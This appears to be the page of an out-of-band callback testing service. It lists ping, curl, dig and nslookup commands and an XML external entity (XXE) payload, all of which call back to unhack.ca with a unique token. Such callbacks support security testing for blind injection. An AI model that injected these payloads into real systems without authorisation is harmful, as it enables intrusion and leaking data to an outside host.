$ ping -c1 -p 0028f88aa4f9766811db0b51c8cae100 unhack.ca
 
$ curl http://unhack.ca/p/28f88aa4f9766811db0b51c8cae1
 
$ dig 28f88aa4f9766811db0b51c8cae1 @unhack.ca
 
$ dig 28f88aa4f9766811db0b51c8cae1.ns.unhack.ca
 
C:\> nslookup 28f88aa4f9766811db0b51c8cae1 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/28f88aa4f9766811db0b51c8cae1">]>
    <foo>&xxe;</foo>
 
Waiting for ping...